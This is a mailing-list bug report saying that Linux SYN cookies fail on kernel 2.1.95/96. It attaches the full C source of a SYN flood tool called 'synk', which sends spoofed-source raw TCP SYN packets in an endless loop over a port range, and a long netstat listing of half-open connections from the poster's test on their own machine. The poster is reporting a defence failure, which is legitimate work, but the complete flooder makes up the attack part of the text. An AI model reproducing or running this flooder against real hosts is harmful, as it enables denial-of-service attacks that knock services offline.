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SubjectSYN cookie reliability
SYN cookies do not seem to work on 2.1.95/96. I have not checked previous
kernels for this problem.

I set /proc/sys/net/ipv4/tcp_syncookies to 1. I enabled SYN cookies. I
used synk on myself. The flooding gets through.

Attached are the program I used an the output of netstat after using it.
IMHO, this is not a good thing. In fact, I feel you should set SYN cookies
to the way they were in 2.0.33. At least they worked back then.

-----------------------------------------
| |
| Fenestrae delendae sunt. |
| |
| smilax@mindmeld.dyn.ml.org |
-----------------------------------------
/* Syn Flooder by Zakath
* TCP Functions by trurl_ (thanks man).
* All other code by Zakath.
* Not too cosemtic right now, just finished beta version. No docs on
* how to use - figure it out yourself. Change the usleep() below depending
* on your bandwidth / desired effect.
*
* [3.22.96]
*/

#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>

#define SEQ 0x28374839
#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))

unsigned long send_seq, ack_seq, srcport;
char flood = 0;
int sock, ssock;

/* Check Sum */
unsigned short
ip_sum (addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return (answer);
}

unsigned long getaddr(char *name) {
struct hostent *hep;

hep=gethostbyname(name);
if(!hep) {
fprintf(stderr, "Unknown host %s\n", name);
exit(1);
}
return *(unsigned long *)hep->h_addr;
}


void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) {
char buf[65536];
struct { /* rfc 793 tcp pseudo-header */
unsigned long saddr, daddr;
char mbz;
char ptcl;
unsigned short tcpl;
} ph;

struct sockaddr_in sin; /* how necessary is this, given that the destination
address is already in the ip header? */

ph.saddr=ih->saddr;
ph.daddr=ih->daddr;
ph.mbz=0;
ph.ptcl=IPPROTO_TCP;
ph.tcpl=htons(sizeof(*th)+dlen);

memcpy(buf, &ph, sizeof(ph));
memcpy(buf+sizeof(ph), th, sizeof(*th));
memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);

memcpy(buf, ih, 4*ih->ihl);
memcpy(buf+4*ih->ihl, th, sizeof(*th));
memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);

ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);
memcpy(buf, ih, 4*ih->ihl);

sin.sin_family=AF_INET;
sin.sin_port=th->dest;
sin.sin_addr.s_addr=ih->daddr;

if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin, sizeof(sin))<0) {
printf("Error sending syn packet.\n"); perror("");
exit(1);
}
}

unsigned long spoof_open(unsigned long my_ip, unsigned long their_ip, unsigned short port) {
int i, s;
struct iphdr ih;
struct tcphdr th;
struct sockaddr_in sin;
int sinsize;
unsigned short myport=6969;
char buf[1024];
struct timeval tv;

ih.version=4;
ih.ihl=5;
ih.tos=0; /* XXX is this normal? */
ih.tot_len=sizeof(ih)+sizeof(th);
ih.id=htons(random());
ih.frag_off=0;
ih.ttl=30;
ih.protocol=IPPROTO_TCP;
ih.check=0;
ih.saddr=my_ip;
ih.daddr=their_ip;

th.source=htons(srcport);
th.dest=htons(port);
th.seq=htonl(SEQ);
th.doff=sizeof(th)/4;
th.ack_seq=0;
th.res1=0;
th.fin=0;
th.syn=1;
th.rst=0;
th.psh=0;
th.ack=0;
th.urg=0;
th.res2=0;
th.window=htons(65535);
th.check=0;
th.urg_ptr=0;

gettimeofday(&tv, 0);

send_tcp_segment(&ih, &th, "", 0);

send_seq = SEQ+1+strlen(buf);
}

main(int argc, char **argv) {
int i, d, max, floodloop, diff;
unsigned long them, me_fake;
unsigned lowport, highport;
char buf[1024];

if(argc<5) {
printf("Usage: %s srcaddr dstaddr low high\n", argv[0]);
exit(1);
}

me_fake=getaddr(argv[1]);
them=getaddr(argv[2]);
lowport=atoi(argv[3]);
highport=atoi(argv[4]);

ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(ssock<0) {
perror("socket (raw)");
exit(1);
}
sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if(sock<0) {
perror("socket");
exit(1);
}

max = 1500;
i = 1;
diff = (highport - lowport);

if (diff > -1)
{
printf("flooding. each dot equals 25 packets.\n");
for (i=1;i>0;i++)
{
srandom((time(0)+i));
srcport = getrandom(1, max)+1000;
for (d=lowport;d<=highport;d++)
{
spoof_open(/*0xe1e26d0a*/ me_fake, them, d);
usleep(0);

if (!(floodloop = (floodloop+1)%(diff+1))) {
fprintf(stdout,"."); fflush(stdout);
}
}
}
printf("Flood completed.\n");
}
else {
printf("High port must be greater than Low port.\n");
exit(1);
}
}
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:telnet localhost:43273 SYN_RECV
tcp 0 0 localhost:telnet localhost:17669 SYN_RECV
tcp 0 0 localhost:telnet localhost:39177 SYN_RECV
tcp 0 0 localhost:telnet localhost:39687 SYN_RECV
tcp 0 0 localhost:telnet localhost:51717 SYN_RECV
tcp 0 0 localhost:telnet localhost:58376 SYN_RECV
tcp 0 0 localhost:telnet localhost:4358 SYN_RECV
tcp 0 0 localhost:telnet localhost:8709 SYN_RECV
tcp 0 0 localhost:telnet localhost:5640 SYN_RECV
tcp 0 0 localhost:telnet localhost:23816 SYN_RECV
tcp 0 0 localhost:telnet localhost:38660 SYN_RECV
tcp 0 0 localhost:telnet localhost:24582 SYN_RECV
tcp 0 0 localhost:telnet localhost:23047 SYN_RECV
tcp 0 0 localhost:telnet localhost:9222 SYN_RECV
tcp 0 0 localhost:telnet localhost:27144 SYN_RECV
tcp 0 0 localhost:telnet localhost:6 SYN_RECV
tcp 0 0 localhost:telnet localhost:57862 SYN_RECV
tcp 0 0 localhost:telnet localhost:38149 SYN_RECV
tcp 0 0 localhost:telnet localhost:7688 SYN_RECV
tcp 0 0 localhost:telnet localhost:33544 SYN_RECV
tcp 0 0 localhost:telnet localhost:41480 SYN_RECV
tcp 0 0 localhost:telnet localhost:17668 SYN_RECV
tcp 0 0 localhost:telnet localhost:2823 SYN_RECV
tcp 0 0 localhost:telnet localhost:38407 SYN_RECV
tcp 0 0 localhost:telnet localhost:38153 SYN_RECV
tcp 0 0 localhost:telnet localhost:53254 SYN_RECV
tcp 0 0 localhost:telnet localhost:18948 SYN_RECV
tcp 0 0 localhost:telnet localhost:30725 SYN_RECV
tcp 0 0 localhost:telnet localhost:12548 SYN_RECV
tcp 0 0 localhost:telnet localhost:6664 SYN_RECV
tcp 0 0 localhost:telnet localhost:61959 SYN_RECV
tcp 0 0 localhost:telnet localhost:20231 SYN_RECV
tcp 0 0 localhost:telnet localhost:45060 SYN_RECV
tcp 0 0 localhost:telnet localhost:54277 SYN_RECV
tcp 0 0 localhost:telnet localhost:15109 SYN_RECV
tcp 0 0 localhost:telnet localhost:64007 SYN_RECV
tcp 0 0 localhost:telnet localhost:11016 SYN_RECV
tcp 0 0 localhost:telnet localhost:47881 SYN_RECV
tcp 0 0 localhost:telnet localhost:48900 SYN_RECV
tcp 0 0 localhost:telnet localhost:3079 SYN_RECV
tcp 0 0 localhost:telnet localhost:1800 SYN_RECV
tcp 0 0 localhost:telnet localhost:2822 SYN_RECV
tcp 0 0 localhost:telnet localhost:45317 SYN_RECV
tcp 0 0 localhost:telnet localhost:9476 SYN_RECV
tcp 0 0 localhost:telnet localhost:41225 SYN_RECV
tcp 0 0 localhost:telnet localhost:65286 SYN_RECV
tcp 0 0 localhost:telnet localhost:53768 SYN_RECV
tcp 0 0 localhost:telnet localhost:60422 SYN_RECV
tcp 0 0 localhost:telnet localhost:41735 SYN_RECV
tcp 0 0 localhost:telnet localhost:49671 SYN_RECV
tcp 0 0 localhost:telnet localhost:5382 SYN_RECV
tcp 0 0 localhost:telnet localhost:42759 SYN_RECV
tcp 0 0 localhost:telnet localhost:38663 SYN_RECV
tcp 0 0 localhost:telnet localhost:58373 SYN_RECV
tcp 0 0 localhost:telnet localhost:24840 SYN_RECV
tcp 0 0 localhost:telnet localhost:7943 SYN_RECV
tcp 0 0 localhost:telnet localhost:34565 SYN_RECV
tcp 0 0 localhost:telnet localhost:24837 SYN_RECV
tcp 0 0 localhost:telnet localhost:50182 SYN_RECV
tcp 0 0 localhost:telnet localhost:48132 SYN_RECV
tcp 0 0 localhost:telnet localhost:26372 SYN_RECV
tcp 0 0 localhost:telnet localhost:16644 SYN_RECV
tcp 0 0 localhost:telnet localhost:14344 SYN_RECV
tcp 0 0 localhost:telnet localhost:43272 SYN_RECV
tcp 0 0 localhost:telnet localhost:55559 SYN_RECV
tcp 0 0 localhost:telnet localhost:55047 SYN_RECV
tcp 0 0 localhost:telnet localhost:11783 SYN_RECV
tcp 0 0 localhost:telnet localhost:24073 SYN_RECV
tcp 0 0 localhost:telnet localhost:24581 SYN_RECV
tcp 0 0 localhost:telnet localhost:27909 SYN_RECV
tcp 0 0 localhost:telnet localhost:40201 SYN_RECV
tcp 0 0 localhost:telnet localhost:53767 SYN_RECV
tcp 0 0 localhost:telnet localhost:2569 SYN_RECV
tcp 0 0 localhost:telnet localhost:49416 SYN_RECV
tcp 0 0 localhost:telnet localhost:9480 SYN_RECV
tcp 0 0 localhost:telnet localhost:16391 SYN_RECV
tcp 0 0 localhost:telnet localhost:22792 SYN_RECV
tcp 0 0 localhost:telnet localhost:gridgen-elmd SYN_RECV
tcp 0 0 localhost:telnet localhost:61443 SYN_RECV
tcp 0 0 localhost:telnet localhost:9991 SYN_RECV
tcp 0 0 localhost:telnet localhost:25350 SYN_RECV
tcp 0 0 localhost:telnet localhost:4 SYN_RECV
tcp 0 0 localhost:telnet localhost:21512 SYN_RECV
tcp 0 0 localhost:telnet localhost:30980 SYN_RECV
tcp 0 0 localhost:telnet localhost:57093 SYN_RECV
tcp 0 0 localhost:telnet localhost:19464 SYN_RECV
tcp 0 0 localhost:telnet localhost:47876 SYN_RECV
tcp 0 0 localhost:telnet localhost:8454 SYN_RECV
tcp 0 0 localhost:telnet localhost:7176 SYN_RECV
tcp 0 0 localhost:telnet localhost:28681 SYN_RECV
tcp 0 0 localhost:telnet localhost:32516 SYN_RECV
tcp 0 0 localhost:telnet localhost:56327 SYN_RECV
tcp 0 0 localhost:telnet localhost:35591 SYN_RECV
tcp 0 0 localhost:telnet localhost:23302 SYN_RECV
tcp 0 0 localhost:telnet localhost:18441 SYN_RECV
tcp 0 0 localhost:telnet localhost:41732 SYN_RECV
tcp 0 0 localhost:telnet localhost:57608 SYN_RECV
tcp 0 0 localhost:telnet localhost:516 SYN_RECV
tcp 0 0 localhost:telnet localhost:61444 SYN_RECV
tcp 0 0 localhost:telnet localhost:59911 SYN_RECV
tcp 0 0 localhost:telnet localhost:1284 SYN_RECV
tcp 0 0 localhost:telnet localhost:18953 SYN_RECV
tcp 0 0 localhost:telnet localhost:46598 SYN_RECV
tcp 0 0 localhost:telnet localhost:32517 SYN_RECV
tcp 0 0 localhost:telnet localhost:8200 SYN_RECV
tcp 0 0 localhost:telnet localhost:19717 SYN_RECV
tcp 0 0 localhost:telnet localhost:13573 SYN_RECV
tcp 0 0 localhost:telnet localhost:26885 SYN_RECV
tcp 0 0 localhost:telnet localhost:33797 SYN_RECV
tcp 0 0 localhost:telnet localhost:2310 SYN_RECV
tcp 0 0 localhost:telnet localhost:45320 SYN_RECV
tcp 0 0 localhost:telnet localhost:8452 SYN_RECV
tcp 0 0 localhost:telnet localhost:41737 SYN_RECV
tcp 0 0 localhost:telnet localhost:62470 SYN_RECV
tcp 0 0 localhost:telnet localhost:49417 SYN_RECV
tcp 0 0 localhost:telnet localhost:47621 SYN_RECV
tcp 0 0 localhost:telnet localhost:35844 SYN_RECV
tcp 0 0 localhost:telnet localhost:7942 SYN_RECV
tcp 0 0 localhost:telnet localhost:53510 SYN_RECV
tcp 0 0 localhost:telnet localhost:43012 SYN_RECV
tcp 0 0 localhost:telnet localhost:64261 SYN_RECV
tcp 0 0 localhost:telnet localhost:4868 SYN_RECV
tcp 0 0 localhost:telnet localhost:64264 SYN_RECV
tcp 0 0 localhost:telnet localhost:23304 SYN_RECV
tcp 0 0 localhost:telnet localhost:65284 SYN_RECV
tcp 0 0 localhost:telnet localhost:16646 SYN_RECV
tcp 0 0 localhost:telnet localhost:16132 SYN_RECV
tcp 0 0 localhost:telnet localhost:40200 SYN_RECV
tcp 0 0 localhost:telnet localhost:5895 SYN_RECV
tcp 0 0 localhost:telnet localhost:19204 SYN_RECV
tcp 0 0 localhost:telnet localhost:36617 SYN_RECV
tcp 0 0 localhost:telnet localhost:62216 SYN_RECV
tcp 0 0 localhost:telnet localhost:wpages SYN_RECV
tcp 0 0 localhost:telnet localhost:37381 SYN_RECV
tcp 0 0 localhost:telnet localhost:43016 SYN_RECV
tcp 0 0 localhost:telnet localhost:30728 SYN_RECV
tcp 0 0 localhost:telnet localhost:17924 SYN_RECV
tcp 0 0 localhost:telnet localhost:29705 SYN_RECV
tcp 0 0 localhost:telnet localhost:36614 SYN_RECV
tcp 0 0 localhost:telnet localhost:40709 SYN_RECV
tcp 0 0 localhost:telnet localhost:44809 SYN_RECV
tcp 0 0 localhost:telnet localhost:262 SYN_RECV
tcp 0 0 localhost:telnet localhost:8966 SYN_RECV
tcp 0 0 localhost:telnet localhost:15622 SYN_RECV
tcp 0 0 localhost:telnet localhost:7689 SYN_RECV
tcp 0 0 localhost:telnet localhost:28422 SYN_RECV
tcp 0 0 localhost:telnet localhost:16902 SYN_RECV
tcp 0 0 localhost:telnet localhost:38662 SYN_RECV
tcp 0 0 localhost:telnet localhost:49926 SYN_RECV
tcp 0 0 localhost:telnet localhost:35845 SYN_RECV
tcp 0 0 localhost:telnet localhost:4357 SYN_RECV
tcp 0 0 localhost:telnet localhost:29958 SYN_RECV
tcp 0 0 localhost:telnet localhost:35335 SYN_RECV
tcp 0 0 localhost:telnet localhost:64772 SYN_RECV
tcp 0 0 localhost:telnet localhost:33542 SYN_RECV
tcp 0 0 localhost:telnet localhost:44805 SYN_RECV
tcp 0 0 localhost:telnet localhost:41736 SYN_RECV
tcp 0 0 localhost:telnet localhost:30983 SYN_RECV
tcp 0 0 localhost:telnet localhost:54020 SYN_RECV
tcp 0 0 localhost:telnet localhost:44550 SYN_RECV
tcp 0 0 localhost:telnet localhost:46600 SYN_RECV
tcp 0 0 localhost:telnet localhost:30724 SYN_RECV
tcp 0 0 localhost:telnet localhost:28934 SYN_RECV
tcp 0 0 localhost:telnet localhost:30982 SYN_RECV
tcp 0 0 localhost:telnet localhost:7944 SYN_RECV
tcp 0 0 localhost:telnet localhost:18185 SYN_RECV
tcp 0 0 localhost:telnet localhost:30212 SYN_RECV
tcp 0 0 localhost:telnet localhost:13317 SYN_RECV
tcp 0 0 localhost:telnet localhost:27398 SYN_RECV
tcp 0 0 localhost:telnet localhost:7686 SYN_RECV
tcp 0 0 localhost:telnet localhost:59143 SYN_RECV
tcp 0 0 localhost:telnet localhost:27141 SYN_RECV
tcp 0 0 localhost:telnet localhost:62211 SYN_RECV
tcp 0 0 localhost:telnet localhost:39429 SYN_RECV
tcp 0 0 localhost:telnet localhost:64773 SYN_RECV
tcp 0 0 localhost:telnet localhost:45573 SYN_RECV
tcp 0 0 localhost:telnet localhost:4104 SYN_RECV
tcp 0 0 localhost:telnet localhost:44040 SYN_RECV
tcp 0 0 localhost:telnet localhost:7175 SYN_RECV
tcp 0 0 localhost:telnet localhost:46086 SYN_RECV
tcp 0 0 localhost:telnet localhost:43015 SYN_RECV
tcp 0 0 localhost:telnet localhost:62472 SYN_RECV
tcp 0 0 localhost:telnet localhost:28937 SYN_RECV
tcp 0 0 localhost:telnet localhost:62471 SYN_RECV
tcp 0 0 localhost:telnet localhost:6917 SYN_RECV
tcp 0 0 localhost:telnet localhost:8455 SYN_RECV
tcp 0 0 localhost:telnet localhost:30473 SYN_RECV
tcp 0 0 localhost:telnet localhost:49413 SYN_RECV
tcp 0 0 localhost:telnet localhost:40711 SYN_RECV
tcp 0 0 localhost:telnet localhost:10760 SYN_RECV
tcp 0 0 localhost:telnet localhost:29701 SYN_RECV
tcp 0 0 localhost:telnet localhost:55815 SYN_RECV
tcp 0 0 localhost:telnet localhost:54021 SYN_RECV
tcp 0 0 localhost:telnet localhost:36356 SYN_RECV
tcp 0 0 localhost:telnet localhost:32776 SYN_RECV
tcp 0 0 localhost:telnet localhost:44806 SYN_RECV
tcp 0 0 localhost:telnet localhost:3845 SYN_RECV
tcp 0 0 localhost:telnet localhost:29188 SYN_RECV
tcp 0 0 localhost:telnet localhost:41220 SYN_RECV
tcp 0 0 localhost:telnet localhost:36357 SYN_RECV
tcp 0 0 localhost:telnet localhost:61190 SYN_RECV
tcp 0 0 localhost:telnet localhost:43528 SYN_RECV
tcp 0 0 localhost:telnet localhost:56836 SYN_RECV
tcp 0 0 localhost:telnet localhost:49415 SYN_RECV
tcp 0 0 localhost:telnet localhost:25608 SYN_RECV
tcp 0 0 localhost:telnet localhost:32007 SYN_RECV
tcp 0 0 localhost:telnet localhost:2056 SYN_RECV
tcp 0 0 localhost:telnet localhost:33796 SYN_RECV
tcp 0 0 localhost:telnet localhost:22279 SYN_RECV
tcp 0 0 localhost:telnet localhost:5637 SYN_RECV
tcp 0 0 localhost:telnet localhost:dec-notes SYN_RECV
tcp 0 0 localhost:telnet localhost:35337 SYN_RECV
tcp 0 0 localhost:telnet localhost:29190 SYN_RECV
tcp 0 0 localhost:telnet localhost:33033 SYN_RECV
tcp 0 0 localhost:telnet localhost:28169 SYN_RECV
tcp 0 0 localhost:telnet localhost:63750 SYN_RECV
tcp 0 0 localhost:telnet localhost:36358 SYN_RECV
tcp 0 0 localhost:telnet localhost:14089 SYN_RECV
tcp 0 0 localhost:telnet localhost:24326 SYN_RECV
tcp 0 0 localhost:telnet localhost:51206 SYN_RECV
tcp 0 0 localhost:telnet localhost:50184 SYN_RECV
tcp 0 0 localhost:telnet localhost:5128 SYN_RECV
tcp 0 0 localhost:telnet localhost:17414 SYN_RECV
tcp 0 0 localhost:telnet localhost:20229 SYN_RECV
tcp 0 0 localhost:telnet localhost:60933 SYN_RECV
tcp 0 0 localhost:telnet localhost:12297 SYN_RECV
tcp 0 0 localhost:telnet localhost:14600 SYN_RECV
tcp 0 0 localhost:telnet localhost:35592 SYN_RECV
tcp 0 0 localhost:telnet localhost:58632 SYN_RECV
tcp 0 0 localhost:telnet localhost:25096 SYN_RECV
tcp 0 0 localhost:telnet localhost:62214 SYN_RECV
tcp 0 0 localhost:telnet localhost:14345 SYN_RECV
tcp 0 0 localhost:telnet localhost:40967 SYN_RECV
tcp 0 0 localhost:telnet localhost:49157 SYN_RECV
tcp 0 0 localhost:telnet localhost:14343 SYN_RECV
tcp 0 0 localhost:telnet localhost:1028 SYN_RECV
tcp 0 0 localhost:telnet localhost:21256 SYN_RECV
tcp 0 0 localhost:telnet localhost:42504 SYN_RECV
tcp 0 0 localhost:telnet localhost:34311 SYN_RECV
tcp 0 0 localhost:telnet localhost:40456 SYN_RECV
tcp 0 0 localhost:telnet localhost:56071 SYN_RECV
tcp 0 0 localhost:telnet localhost:19465 SYN_RECV
tcp 0 0 localhost:telnet localhost:45833 SYN_RECV
tcp 0 0 localhost:telnet localhost:20232 SYN_RECV
tcp 0 0 localhost:telnet localhost:15879 SYN_RECV
tcp 0 0 localhost:telnet localhost:34820 SYN_RECV
tcp 0 0 localhost:telnet localhost:3077 SYN_RECV
tcp 0 0 localhost:telnet localhost:23556 SYN_RECV
tcp 0 0 localhost:telnet localhost:35332 SYN_RECV
tcp 0 0 localhost:telnet localhost:53509 SYN_RECV
tcp 0 0 localhost:telnet localhost:9993 SYN_RECV
tcp 0 0 localhost:telnet localhost:7174 SYN_RECV
tcp 0 0 localhost:telnet localhost:18949 SYN_RECV
tcp 0 0 localhost:telnet localhost:54536 SYN_RECV
tcp 0 0 localhost:telnet localhost:58887 SYN_RECV
tcp 0 0 localhost:telnet localhost:28168 SYN_RECV
tcp 0 0 localhost:telnet localhost:11271 SYN_RECV
tcp 0 0 localhost:telnet localhost:34313 SYN_RECV
tcp 0 0 localhost:telnet localhost:38405 SYN_RECV
tcp 0 0 localhost:telnet localhost:48390 SYN_RECV
tcp 0 0 localhost:telnet localhost:54791 SYN_RECV
tcp 0 0 localhost:telnet localhost:19463 SYN_RECV
tcp 0 0 localhost:telnet localhost:23815 SYN_RECV
tcp 0 0 localhost:telnet localhost:37892 SYN_RECV
tcp 0 0 localhost:telnet localhost:63492 SYN_RECV
tcp 0 0 localhost:telnet localhost:55558 SYN_RECV
tcp 0 0 localhost:telnet localhost:33287 SYN_RECV
tcp 0 0 localhost:telnet localhost:2824 SYN_RECV
tcp 0 0 localhost:telnet localhost:54276 SYN_RECV
tcp 0 0 localhost:telnet localhost:27142 SYN_RECV
tcp 0 0 localhost:telnet localhost:45064 SYN_RECV
tcp 0 0 localhost:telnet localhost:26886 SYN_RECV
tcp 0 0 localhost:telnet localhost:55812 SYN_RECV
tcp 0 0 localhost:telnet localhost:34564 SYN_RECV
tcp 0 0 localhost:telnet localhost:33284 SYN_RECV
tcp 0 0 localhost:telnet localhost:44293 SYN_RECV
tcp 0 0 localhost:telnet localhost:49668 SYN_RECV
tcp 0 0 localhost:telnet localhost:60935 SYN_RECV
tcp 0 0 localhost:telnet localhost:28166 SYN_RECV
tcp 0 0 localhost:telnet localhost:36616 SYN_RECV
tcp 0 0 localhost:telnet localhost:16393 SYN_RECV
tcp 0 0 localhost:telnet localhost:43269 SYN_RECV
tcp 0 0 localhost:telnet localhost:21513 SYN_RECV
tcp 0 0 localhost:telnet localhost:15110 SYN_RECV
tcp 0 0 localhost:telnet localhost:264 SYN_RECV
tcp 0 0 localhost:telnet localhost:21000 SYN_RECV
tcp 0 0 localhost:telnet localhost:1029 SYN_RECV
tcp 0 0 localhost:telnet localhost:50694 SYN_RECV
tcp 0 0 localhost:telnet localhost:48391 SYN_RECV
tcp 0 0 localhost:telnet localhost:45062 SYN_RECV
tcp 0 0 localhost:telnet localhost:25606 SYN_RECV
tcp 0 0 localhost:telnet localhost:40457 SYN_RECV
tcp 0 0 localhost:telnet localhost:60675 SYN_RECV
tcp 0 0 localhost:telnet localhost:12040 SYN_RECV
tcp 0 0 localhost:telnet localhost:52484 SYN_RECV
tcp 0 0 localhost:telnet localhost:26888 SYN_RECV
tcp 0 0 localhost:telnet localhost:22020 SYN_RECV
tcp 0 0 localhost:telnet localhost:37127 SYN_RECV
tcp 0 0 localhost:telnet localhost:17927 SYN_RECV
tcp 0 0 localhost:telnet localhost:50951 SYN_RECV
tcp 0 0 localhost:telnet localhost:30981 SYN_RECV
tcp 0 0 localhost:telnet localhost:12551 SYN_RECV
tcp 0 0 localhost:telnet localhost:32262 SYN_RECV
tcp 0 0 localhost:telnet localhost:13060 SYN_RECV
tcp 0 0 localhost:telnet localhost:30472 SYN_RECV
tcp 0 0 localhost:telnet localhost:24071 SYN_RECV
tcp 0 0 localhost:telnet localhost:34824 SYN_RECV
tcp 0 0 localhost:telnet localhost:39689 SYN_RECV
tcp 0 0 localhost:telnet localhost:8456 SYN_RECV
tcp 0 0 localhost:telnet localhost:52486 SYN_RECV
tcp 0 0 localhost:telnet localhost:52487 SYN_RECV
tcp 0 0 localhost:telnet localhost:26374 SYN_RECV
tcp 0 0 localhost:telnet localhost:16388 SYN_RECV
tcp 0 0 localhost:telnet localhost:58116 SYN_RECV
tcp 0 0 localhost:telnet localhost:2312 SYN_RECV
tcp 0 0 localhost:telnet localhost:62726 SYN_RECV
tcp 0 0 localhost:telnet localhost:21508 SYN_RECV
tcp 0 0 localhost:telnet localhost:57350 SYN_RECV
tcp 0 0 localhost:telnet localhost:6405 SYN_RECV
tcp 0 0 localhost:telnet localhost:3076 SYN_RECV
tcp 0 0 localhost:telnet localhost:47624 SYN_RECV
tcp 0 0 localhost:telnet localhost:17417 SYN_RECV
tcp 0 0 localhost:telnet localhost:6153 SYN_RECV
tcp 0 0 localhost:telnet localhost:5892 SYN_RECV
tcp 0 0 localhost:telnet localhost:32521 SYN_RECV
tcp 0 0 localhost:telnet localhost:58888 SYN_RECV
tcp 0 0 localhost:telnet localhost:55560 SYN_RECV
tcp 0 0 localhost:telnet localhost:11269 SYN_RECV
tcp 0 0 localhost:telnet localhost:18437 SYN_RECV
tcp 0 0 localhost:telnet localhost:26119 SYN_RECV
tcp 0 0 localhost:telnet localhost:44804 SYN_RECV
tcp 0 0 localhost:telnet localhost:38920 SYN_RECV
tcp 0 0 localhost:telnet localhost:61192 SYN_RECV
tcp 0 0 localhost:telnet localhost:48135 SYN_RECV
tcp 0 0 localhost:telnet localhost:16648 SYN_RECV
tcp 0 0 localhost:telnet localhost:15624 SYN_RECV
tcp 0 0 localhost:telnet localhost:12806 SYN_RECV
tcp 0 0 localhost:telnet localhost:11528 SYN_RECV
tcp 0 0 localhost:telnet localhost:37384 SYN_RECV
tcp 0 0 localhost:telnet localhost:46599 SYN_RECV
tcp 0 0 localhost:telnet localhost:18439 SYN_RECV
tcp 0 0 localhost:telnet localhost:43784 SYN_RECV
tcp 0 0 localhost:telnet localhost:48645 SYN_RECV
tcp 0 0 localhost:telnet localhost:43785 SYN_RECV
tcp 0 0 localhost:telnet localhost:19719 SYN_RECV
tcp 0 0 localhost:telnet localhost:52998 SYN_RECV
tcp 0 0 localhost:telnet localhost:21255 SYN_RECV
tcp 0 0 localhost:telnet localhost:33030 SYN_RECV
tcp 0 0 localhost:telnet localhost:18693 SYN_RECV
tcp 0 0 localhost:telnet localhost:46085 SYN_RECV
tcp 0 0 localhost:telnet localhost:56838 SYN_RECV
tcp 0 0 localhost:telnet localhost:59909 SYN_RECV
tcp 0 0 localhost:telnet localhost:61960 SYN_RECV
tcp 0 0 localhost:telnet localhost:61955 SYN_RECV
tcp 0 0 localhost:telnet localhost:26632 SYN_RECV
tcp 0 0 localhost:telnet localhost:17926 SYN_RECV
tcp 0 0 localhost:telnet localhost:iad2 SYN_RECV
tcp 0 0 localhost:telnet localhost:7685 SYN_RECV
tcp 0 0 localhost:telnet localhost:47369 SYN_RECV
tcp 0 0 localhost:telnet localhost:12039 SYN_RECV
tcp 0 0 localhost:telnet localhost:5124 SYN_RECV
tcp 0 0 localhost:telnet localhost:13318 SYN_RECV
tcp 0 0 localhost:telnet localhost:63240 SYN_RECV
tcp 0 0 localhost:telnet localhost:46596 SYN_RECV
tcp 0 0 localhost:telnet localhost:23814 SYN_RECV
tcp 0 0 localhost:telnet localhost:64771 SYN_RECV
tcp 0 0 localhost:telnet localhost:60677 SYN_RECV
tcp 0 0 localhost:telnet localhost:3593 SYN_RECV
tcp 0 0 localhost:telnet localhost:27908 SYN_RECV
tcp 0 0 localhost:telnet localhost:61704 SYN_RECV
tcp 0 0 localhost:telnet localhost:1287 SYN_RECV
tcp 0 0 localhost:telnet localhost:4870 SYN_RECV
tcp 0 0 localhost:telnet localhost:31236 SYN_RECV
tcp 0 0 localhost:telnet localhost:63748 SYN_RECV
tcp 0 0 localhost:telnet localhost:40453 SYN_RECV
tcp 0 0 localhost:telnet localhost:56070 SYN_RECV
tcp 0 0 localhost:telnet localhost:39175 SYN_RECV
tcp 0 0 localhost:telnet localhost:28676 SYN_RECV
tcp 0 0 localhost:telnet localhost:44297 SYN_RECV
tcp 0 0 localhost:telnet localhost:30216 SYN_RECV
tcp 0 0 localhost:telnet localhost:44296 SYN_RECV
tcp 0 0 localhost:telnet localhost:58630 SYN_RECV
tcp 0 0 localhost:telnet localhost:15113 SYN_RECV
tcp 0 0 localhost:telnet localhost:64776 SYN_RECV
tcp 0 0 localhost:telnet localhost:10244 SYN_RECV
tcp 0 0 localhost:telnet localhost:21001 SYN_RECV
tcp 0 0 localhost:telnet localhost:33028 SYN_RECV
tcp 0 0 localhost:telnet localhost:36870 SYN_RECV
tcp 0 0 localhost:telnet localhost:19206 SYN_RECV
tcp 0 0 localhost:telnet localhost:26633 SYN_RECV
tcp 0 0 localhost:telnet localhost:32777 SYN_RECV
tcp 0 0 localhost:telnet localhost:57095 SYN_RECV
tcp 0 0 localhost:telnet localhost:55301 SYN_RECV
tcp 0 0 localhost:telnet localhost:3849 SYN_RECV
tcp 0 0 localhost:telnet localhost:11017 SYN_RECV
tcp 0 0 localhost:telnet localhost:61956 SYN_RECV
tcp 0 0 localhost:telnet localhost:18697 SYN_RECV
tcp 0 0 localhost:telnet localhost:48902 SYN_RECV
tcp 0 0 localhost:telnet localhost:60421 SYN_RECV
tcp 0 0 localhost:telnet localhost:24325 SYN_RECV
tcp 0 0 localhost:telnet localhost:50437 SYN_RECV
tcp 0 0 localhost:telnet localhost:25095 SYN_RECV
tcp 0 0 localhost:telnet localhost:8965 SYN_RECV
tcp 0 0 localhost:telnet localhost:24839 SYN_RECV
tcp 0 0 localhost:telnet localhost:46597 SYN_RECV
tcp 0 0 localhost:telnet localhost:25093 SYN_RECV
tcp 0 0 localhost:telnet localhost:11527 SYN_RECV
tcp 0 0 localhost:telnet localhost:50952 SYN_RECV
tcp 0 0 localhost:telnet localhost:39941 SYN_RECV
tcp 0 0 localhost:telnet localhost:43781 SYN_RECV
tcp 0 0 localhost:telnet localhost:33799 SYN_RECV
